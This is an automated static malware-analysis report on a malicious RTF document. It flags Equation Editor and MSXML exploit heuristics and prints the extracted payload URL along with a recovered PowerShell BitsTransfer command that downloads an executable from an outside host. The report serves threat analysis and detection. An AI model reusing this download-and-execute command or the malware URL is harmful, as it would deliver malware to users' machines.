Malicious RTF — malware analysis report

Static analysis result for SHA-256 8fc12c74c5af599f…

MALICIOUS

RTF

237.2 KB Created: 2018-05-27 22:42:00 First seen: 2020-07-02
MD5: 6295192ada88c54f071052004313e9b4 SHA-1: 70057cbc23c8a466b641f88e73b507827d45af1d SHA-256: 8fc12c74c5af599fd99d302b2429d8c8a5d3a5d243d7941758fda223ee3cb7eb
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical heuristics for CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX). These exploits are used for client execution, likely to download and run a second-stage payload from the unknown URL. The file is likely delivered as a spearphishing attachment.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://britiannia-worldwide.co.uk/frityst/over.exe In RTF body
    • http://schemas.microsoft.com/offiIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00009bc5.bin rtf-objdata-decoded RTF \objdata at offset 0x9BC5 16132 bytes
SHA-256: c3bc7a8414fb2da9695b402fad47e780e1fd3fc641c0249ec12981050533d5dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://britiannia-worldwide.co.uk/frityst/over.exe Static shellcode analysis recovered command string(s): cmd.exe /c PowerShell "try{$eZ=$env:temp+'\TTI.exe';Import-Module BitsTransfer;Start-BitsTransfer -Source 'http://britiannia-worldwide.co.uk/frityst/over.exe' -Destina

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